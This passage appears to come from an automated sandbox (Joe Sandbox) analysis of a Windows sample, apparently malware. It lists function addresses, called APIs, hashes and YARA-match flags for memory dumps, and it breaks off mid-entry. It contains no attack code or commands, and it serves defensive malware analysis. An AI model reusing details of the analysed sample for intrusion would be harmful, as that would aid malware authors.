Opcode ID: 2ae2fd32a1d2a838208ab3d1a8fced2e3adc472ac1278b377655e8aa8aae26b1
Instruction ID: c7ae7b613dba0353a3b610617340df3471ea42725b720faa796f3932e6b05ac0
Opcode Fuzzy Hash: 2ae2fd32a1d2a838208ab3d1a8fced2e3adc472ac1278b377655e8aa8aae26b1
Instruction Fuzzy Hash: 8EF0A07460010ABBCF00FFA4CD45EEF37B96B00701F600714B510E20A1DB34DA049768

Function 00675A67 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

std::_Cnd_initX.LIBCPMT ref: 00675A83
__Cnd_signal.LIBCPMT ref: 00675A8F
std::_Cnd_initX.LIBCPMT ref: 00675AA4
__Cnd_do_broadcast_at_thread_exit.LIBCPMT ref: 00675AAB

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Cnd_initstd::_$Cnd_do_broadcast_at_thread_exitCnd_signal
String ID:
API String ID: 2059591211-0
Opcode ID: 75d2ec5a84d6058dd22c20c78519f5ebb85b54958e4003f0e2117dcdaee44c85
Instruction ID: 27f72eed5784a66e65147c254afaeb4ac16b42b86c8216fbfc3fd5976e1874f1
Opcode Fuzzy Hash: 75d2ec5a84d6058dd22c20c78519f5ebb85b54958e4003f0e2117dcdaee44c85
Instruction Fuzzy Hash: A2F0EC31000700AFEBA17770D80775A73B3AF01324F14C92DF04D5A591DF7AE854965D

Function 004125F1 Relevance: 6.0, APIs: 4, Instructions: 29registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(?,00000000,00423592,000000A4,000000FF,0000000C), ref: 00412608
GetLastError.KERNEL32(?,?,?,?,004185C9,?,?,?,?,00000000,?,00000000), ref: 00412617
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0041262D
__CxxThrowException@8.LIBVCRUNTIME ref: 0041263B

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastObjectRegisterSingleThrowWait
String ID:
API String ID: 3803302727-0
Opcode ID: 2ae2fd32a1d2a838208ab3d1a8fced2e3adc472ac1278b377655e8aa8aae26b1
Instruction ID: 24969db738fe4d1a967b5a52fd3328d3273a2fbbb48021401f3901a8ee12547a
Opcode Fuzzy Hash: 2ae2fd32a1d2a838208ab3d1a8fced2e3adc472ac1278b377655e8aa8aae26b1
Instruction Fuzzy Hash: 7FF0A03460010AFBCF00EFA5DE46EEF37687B00745F600616B610E20E1EB79DA549768

Function 0068257D Relevance: 6.0, APIs: 4, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCreateEventExW.LIBCPMT ref: 00682593
GetLastError.KERNEL32(?,?,?,?,?,00680DA0), ref: 006825A1
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006825B7
__CxxThrowException@8.LIBVCRUNTIME ref: 006825C5

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorEventException@8LastThrow___crt
String ID:
API String ID: 200240550-0
Opcode ID: b13ab56965c0887775dfe6ae7b5ceab245a5f6078597de59d26007bfcb9aef54
Instruction ID: 8eff21ca6a770c3382beb334ce16b69836962471bfd8b636d17bc80c31a29a53
Opcode Fuzzy Hash: b13ab56965c0887775dfe6ae7b5ceab245a5f6078597de59d26007bfcb9aef54
Instruction Fuzzy Hash: CAE0D87164021629E750B7744C17FBF36AC5B00B41F840955F914E21C3FE98D50442BD

Function 00412316 Relevance: 6.0, APIs: 4, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCreateEventExW.LIBCPMT ref: 0041232C
GetLastError.KERNEL32(?,?,?,?,?,00410B39), ref: 0041233A
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00412350
__CxxThrowException@8.LIBVCRUNTIME ref: 0041235E

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorEventException@8LastThrow___crt
String ID:
API String ID: 200240550-0
Opcode ID: b13ab56965c0887775dfe6ae7b5ceab245a5f6078597de59d26007bfcb9aef54
Instruction ID: 785b6ff49928477fe7b23022ebabbc79c69e7cefd8d4159d1ac4e3541b52c9d2
Opcode Fuzzy Hash: b13ab56965c0887775dfe6ae7b5ceab245a5f6078597de59d26007bfcb9aef54
Instruction Fuzzy Hash: 01E0D871A0021929E710B7768E03FBF369C6B00B49F54096ABE14E51D3FDACD65042AC

Function 00689530 Relevance: 6.0, APIs: 4, Instructions: 26memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00682959: TlsAlloc.KERNEL32(?,00680DA0), ref: 0068295F

TlsAlloc.KERNEL32(?,00680DA0), ref: 00693BE6
GetLastError.KERNEL32 ref: 00693BF8
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00693C0E
__CxxThrowException@8.LIBVCRUNTIME ref: 00693C1C

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Alloc$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3735082963-0
Opcode ID: 66048b5912d9800ecb047d2b21c4276ce59f10e340e5510923950ad1c38f33ca
Instruction ID: a565f065660f7184459c85f977c7b3396f9ee354a623f4c8100b45b42030a66f
Opcode Fuzzy Hash: 66048b5912d9800ecb047d2b21c4276ce59f10e340e5510923950ad1c38f33ca
Instruction Fuzzy Hash: 2CE06874500312AFCB00BB759D5BABE326D6A01302B100F2AF021D32A2EE34D20647AC

Function 004192C9 Relevance: 6.0, APIs: 4, Instructions: 26memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004126F2: TlsAlloc.KERNEL32(?,00410B39), ref: 004126F8

TlsAlloc.KERNEL32(?,00410B39), ref: 0042397F
GetLastError.KERNEL32 ref: 00423991
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004239A7
__CxxThrowException@8.LIBVCRUNTIME ref: 004239B5

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Alloc$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3735082963-0
Opcode ID: 66048b5912d9800ecb047d2b21c4276ce59f10e340e5510923950ad1c38f33ca
Instruction ID: d941d7adcdfcb95fe7f1ae92eeb0e95f25cd9e5dbb2d3936931fab3d4402dca1
Opcode Fuzzy Hash: 66048b5912d9800ecb047d2b21c4276ce59f10e340e5510923950ad1c38f33ca
Instruction Fuzzy Hash: FEE02BB09002206EC300BF766C4A66E3274750130AB500B2BB151D21D2EEBCD1844A9D

Function 00682794 Relevance: 6.0, APIs: 4, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(?,?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,00680DA0), ref: 0068279E
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,00680DA0), ref: 006827AD
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006827C3
__CxxThrowException@8.LIBVCRUNTIME ref: 006827D1

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8HighestLastNodeNumaNumberThrow
String ID:
API String ID: 3016159387-0
Opcode ID: aa1fe1726c391e6c90679c86a0ef38e15e3ee04fdf49ded71e00b6b13b472e10
Instruction ID: aa6bf60e608ddb444ac47f7b565c615ed760641c81513cfb201e9424afe4ae4c
Opcode Fuzzy Hash: aa1fe1726c391e6c90679c86a0ef38e15e3ee04fdf49ded71e00b6b13b472e10
Instruction Fuzzy Hash: 3CE0867460010BABCB00FBB5DD4AEEF73BD6A00B01B600665B541E3191EF68DB08877D

Function 0041252D Relevance: 6.0, APIs: 4, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(?,?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,00410B39), ref: 00412537
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,00410B39), ref: 00412546
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0041255C
__CxxThrowException@8.LIBVCRUNTIME ref: 0041256A

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8HighestLastNodeNumaNumberThrow
String ID:
API String ID: 3016159387-0
Opcode ID: aa1fe1726c391e6c90679c86a0ef38e15e3ee04fdf49ded71e00b6b13b472e10
Instruction ID: 7399f334bae95f1f5dd7aa6ec606231f62b338b040d4ba0de61eab0e9ab47a66
Opcode Fuzzy Hash: aa1fe1726c391e6c90679c86a0ef38e15e3ee04fdf49ded71e00b6b13b472e10
Instruction Fuzzy Hash: A1E0D87060010AABC700EBB5DE4AAEF73BC7A00605B600166A101E2151EA6CDA44877C

Function 006828EC Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

SetThreadPriority.KERNEL32(?,?), ref: 006828F8
GetLastError.KERNEL32 ref: 00682904
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0068291A
__CxxThrowException@8.LIBVCRUNTIME ref: 00682928

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastPriorityThreadThrow
String ID:
API String ID: 4286982218-0
Opcode ID: 2e8a5abc4ba5302a065f6319043aedef3fe0da521bb0a121bd2973cc84f30b77
Instruction ID: 0fb2fad8b7647b4cdc1745336d9bbc24fa2bc59843a0a678574d25b0306e84a6
Opcode Fuzzy Hash: 2e8a5abc4ba5302a065f6319043aedef3fe0da521bb0a121bd2973cc84f30b77
Instruction Fuzzy Hash: 0CE04F3460010A6BCF14BF618D0AABA366D6B00741F500A25B855D20A2EE39D50487AC

Function 006829B2 Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(?,00000000,00687BD8,00000000,?,?,00680DA0,?,?,?,00000000,?,00000000), ref: 006829BE
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 006829CA
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006829E0
__CxxThrowException@8.LIBVCRUNTIME ref: 006829EE

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrowValue
String ID:
API String ID: 1964976909-0
Opcode ID: e92b9239321077a6426b58042713b272637ac11e22ba0cdbfa846f2b38cfd992
Instruction ID: 86c0792943d620fc470732f5288b1f0965d12f9166d3ed45e9cde772eca4e591
Opcode Fuzzy Hash: e92b9239321077a6426b58042713b272637ac11e22ba0cdbfa846f2b38cfd992
Instruction Fuzzy Hash: A7E04F3420010A6ADF10BF618C09BBE366D6B00B41F500A25B959D20A2EE35D51497AC

Function 00412685 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

SetThreadPriority.KERNEL32(?,?), ref: 00412691
GetLastError.KERNEL32 ref: 0041269D
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004126B3
__CxxThrowException@8.LIBVCRUNTIME ref: 004126C1

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastPriorityThreadThrow
String ID:
API String ID: 4286982218-0
Opcode ID: 2e8a5abc4ba5302a065f6319043aedef3fe0da521bb0a121bd2973cc84f30b77
Instruction ID: eb1a6d40bee4d863ba02ef3eb8c9f1a5d1f26ddbf15ae4e912fb13e181a4c061
Opcode Fuzzy Hash: 2e8a5abc4ba5302a065f6319043aedef3fe0da521bb0a121bd2973cc84f30b77
Instruction Fuzzy Hash: 3CE04F34600119ABCB14BF619E06BAF376C7A00745B50052AB515D10A2EE79D564869C

Function 0041274B Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(?,00000000,00417971,00000000,?,?,00410B39,?,?,?,00000000,?,00000000), ref: 00412757
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00412763
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00412779
__CxxThrowException@8.LIBVCRUNTIME ref: 00412787

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrowValue
String ID:
API String ID: 1964976909-0
Opcode ID: e92b9239321077a6426b58042713b272637ac11e22ba0cdbfa846f2b38cfd992
Instruction ID: 63a90eab5ccd82633b541feab557f5b3d99097aee930e3f4eaa44923ec20be65
Opcode Fuzzy Hash: e92b9239321077a6426b58042713b272637ac11e22ba0cdbfa846f2b38cfd992
Instruction Fuzzy Hash: 43E04F34600119AADB10BF619E0AAAF37A87A00A45B50052AB915D10A2EE79D564869C

Function 00682959 Relevance: 6.0, APIs: 4, Instructions: 21memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,00680DA0), ref: 0068295F
GetLastError.KERNEL32 ref: 0068296C
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00682982
__CxxThrowException@8.LIBVCRUNTIME ref: 00682990

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: AllocConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3103352999-0
Opcode ID: cf5c7426e44f0e531d76730010d1233fe0a142eb59a03d1d9f3b17062cc15993
Instruction ID: d07206716540c88672e3a4d7aa65dc212c2deecc4d2be1ccd21a38d0a7a20092
Opcode Fuzzy Hash: cf5c7426e44f0e531d76730010d1233fe0a142eb59a03d1d9f3b17062cc15993
Instruction Fuzzy Hash: AFE0C2301001066B8B14BBB99C4EABF32BD6A01711FA00B29F461E20E2EE68D40843AC

Function 004126F2 Relevance: 6.0, APIs: 4, Instructions: 21memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,00410B39), ref: 004126F8
GetLastError.KERNEL32 ref: 00412705
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0041271B
__CxxThrowException@8.LIBVCRUNTIME ref: 00412729

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: AllocConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3103352999-0
Opcode ID: cf5c7426e44f0e531d76730010d1233fe0a142eb59a03d1d9f3b17062cc15993
Instruction ID: 71e6de1c8af28f534afd96217d060265c7bf952bbd0c624222ea3419adf54434
Opcode Fuzzy Hash: cf5c7426e44f0e531d76730010d1233fe0a142eb59a03d1d9f3b17062cc15993
Instruction Fuzzy Hash: 2AE0CD34500115578714BB755D0AABF72587901719B600B1AF131D20D1FB6CD458429C

Function 0042F07D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0042F10D

Strings

pow, xrefs: 0042F0E5, 0042F102

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: cb57d0990ecd4e157a276670056fa63ecf5c6ef3cb6d4436f05d56c4fa4236c6
Instruction ID: 9c0c3c151ae2a5a6b50f0fee57114a4457493f87fddc68121f24b850b116d2d7
Opcode Fuzzy Hash: cb57d0990ecd4e157a276670056fa63ecf5c6ef3cb6d4436f05d56c4fa4236c6
Instruction Fuzzy Hash: 8C515D61B04302D6DB117714E90137BABA0EB54B40FE4597FF491813E9EE3D8CAA9A4F

Function 006A2CEC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 156COMMONLIBRARYCODE

Download Yara Rule

Strings

4j, xrefs: 006A2CFF
4j, xrefs: 006A2D7C, 006A2E73

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID: 4j$4j
API String ID: 0-2680029391
Opcode ID: bf95e4150e32a6e9ea6774710a4b4db1b4b3c7664687a00a569d7bbf22ea1fa4
Instruction ID: 1d94da718e0b811b2964728531cc11f8781fd72ed935b02b091c5aa443c35dbb
Opcode Fuzzy Hash: bf95e4150e32a6e9ea6774710a4b4db1b4b3c7664687a00a569d7bbf22ea1fa4
Instruction Fuzzy Hash: 9751D831A44206EBCB20EF58C8A1BAA7771FF16310F65815AD559AB391E370DDC2CF85

Function 006AB0D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,006AB32B,?,00000050,?,?,?,?,?), ref: 006AB1AB

Strings

ACP, xrefs: 006AB0EE
OCP, xrefs: 006AB124

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: 3d3d09a8c43a337bc5f8b6bf8185eed6c30071c5532ceeb821c98544ef4eef7c
Instruction ID: 9c1531fea368c8053d131278dd5451750e82ede08e2f0a55675ffdb87b980d63
Opcode Fuzzy Hash: 3d3d09a8c43a337bc5f8b6bf8185eed6c30071c5532ceeb821c98544ef4eef7c
Instruction Fuzzy Hash: C221D362B00104A6EB24AE648D11BE7739BEF56B50F5A9064E909D7303F732DD40CB94

Function 0043AE69 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,0043B0C4,?,00000050,?,?,?,?,?), ref: 0043AF44

Strings

ACP, xrefs: 0043AE87
OCP, xrefs: 0043AEBD

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: 3d3d09a8c43a337bc5f8b6bf8185eed6c30071c5532ceeb821c98544ef4eef7c
Instruction ID: 14488b359d73a2b35151aaad325e7c1d9f20b01c06d3923b8e2598dc1437a59e
Opcode Fuzzy Hash: 3d3d09a8c43a337bc5f8b6bf8185eed6c30071c5532ceeb821c98544ef4eef7c
Instruction Fuzzy Hash: F3212BA2AC4101A6DB30CB54C907B977366EF5CB11F569526E98AC7300F73ADD11C39E

Function 00401F0A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 00401F25
GdipGetImageEncoders.GDIPLUS(?,?,00000000), ref: 00401F4A

Strings

image/png, xrefs: 00401F58

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: EncodersGdipImage$Size
String ID: image/png
API String ID: 864223233-2966254431
Opcode ID: a4116aea5856e167c2c377b93ae464baf6efd33a5122bb5b4e0eea2d33bbdf28
Instruction ID: a861e299a60b9ced5094bb1731eec5177a5b987cbaa8a1425c649574426e8627
Opcode Fuzzy Hash: a4116aea5856e167c2c377b93ae464baf6efd33a5122bb5b4e0eea2d33bbdf28
Instruction Fuzzy Hash: 04119476D00109FFCB01AFA99C8149EBB76FE41321B60027BE810B21E0C7755F419A58

Function 0040EF26 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000D,?,0040DE41,0040C659,?,?,00000000,?,0040C529,0045D5E4,0040C4F6,0045D5DC,?,ios_base::failbit set,0040C659), ref: 0040EFAA

Strings

F(@, xrefs: 0040EF29

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorLast
String ID: F(@
API String ID: 1452528299-2698495834
Opcode ID: 28a02ce365c990727b7b4e8bf51613b6bc71088fada4a4c5b2d2716d252c928d
Instruction ID: 02fe8a739a07683bc60ca74788e4bb9a0325118a5e4d2b20450d6bc28493fa7e
Opcode Fuzzy Hash: 28a02ce365c990727b7b4e8bf51613b6bc71088fada4a4c5b2d2716d252c928d
Instruction Fuzzy Hash: 2B11C236300216BFCF165F66DD4496AB765BB08B11B11483AFA05A6290CA7498219BD9

Function 00672BC7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00672BF6
__fassign.LIBCMT ref: 00672C06

Part of subcall function 00672A8A: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00672B6D

Strings

{-g, xrefs: 00672C4B

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Ios_base_dtor__fassign_wcslenstd::ios_base::_
String ID: {-g
API String ID: 2843524283-1410986167
Opcode ID: 26a2aefc81d30bc219ef6623b137fa36f09c6ad660d0dc0b6a69c96c45286d44
Instruction ID: ad9ba73693a77a9a7489de2c092b30c9b978b9e1d33657822a5b3761eb807cc6
Opcode Fuzzy Hash: 26a2aefc81d30bc219ef6623b137fa36f09c6ad660d0dc0b6a69c96c45286d44
Instruction Fuzzy Hash: 1901F5B1D0021C5ADB79EB24DC52EEF7B7ADF45300F0081EDE609D3281DA719E86CA94

Function 0040C510 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 0040C554

Strings

ios_base::failbit set, xrefs: 0040C510
F(@, xrefs: 0040C547

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: F(@$ios_base::failbit set
API String ID: 4194217158-1828034088
Opcode ID: 326c062bbd77b351e70a003f48f611e5e8c7415ec1b2fbce5622d8111c151cd5
Instruction ID: 4ba2cac2fce41df0eb0aef52a6a00c17a8a4a8275336f9ee0f9be7dda5d805c6
Opcode Fuzzy Hash: 326c062bbd77b351e70a003f48f611e5e8c7415ec1b2fbce5622d8111c151cd5
Instruction Fuzzy Hash: 27F0B472A0022836D2302B56BC02B97F7CC8F50B69F14443FFE05A6681EBF8A94581EC

Function 0044068A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00440691

Strings

RCC, xrefs: 004406C3
MOC, xrefs: 004406B4

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: H_prolog3_catch
String ID: MOC$RCC
API String ID: 3886170330-2084237596
Opcode ID: 97e7bd69da2a212c52dfa9d68122ee8a36af56c02b3e00c92559e584b2ae2017
Instruction ID: e9e4e095770ca636dcca3efe7f5224ff47edcbfbbe98bab9d98b6a8866433d4c
Opcode Fuzzy Hash: 97e7bd69da2a212c52dfa9d68122ee8a36af56c02b3e00c92559e584b2ae2017
Instruction Fuzzy Hash: 81F0AF70600224CFDB22AF95D40159D3B60AF82748F8281A7F9009B262C73C6E14CFAE

Function 00404E07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo.LIBCPMT ref: 00404E3C

Part of subcall function 0040BF5D: std::_Lockit::_Lockit.LIBCPMT ref: 0040BF71
Part of subcall function 0040BF5D: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040BFAE

std::_Locinfo::~_Locinfo.LIBCPMT ref: 00404E50

Part of subcall function 0040C008: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0040C02F
Part of subcall function 0040C008: std::_Lockit::~_Lockit.LIBCPMT ref: 0040C0A0

Strings

F@, xrefs: 00404E48

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: std::_$Locinfo::_$LocinfoLockit$Locinfo::~_Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: F@
API String ID: 2118720939-885931407
Opcode ID: ab390ea3e88c8ea055363ab8ec40643519a30a11bb7225da03181527fb8750d3
Instruction ID: 13870e84e441ff14f0459789a428ac9660f365acd1e629d5c6e8dadf1a096d8e
Opcode Fuzzy Hash: ab390ea3e88c8ea055363ab8ec40643519a30a11bb7225da03181527fb8750d3
Instruction Fuzzy Hash: 7CF034B2410205DAEB21AF50C412B9973B4BF80B15F61813FE545AB2C1DB786949CB89

Function 00428D77 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

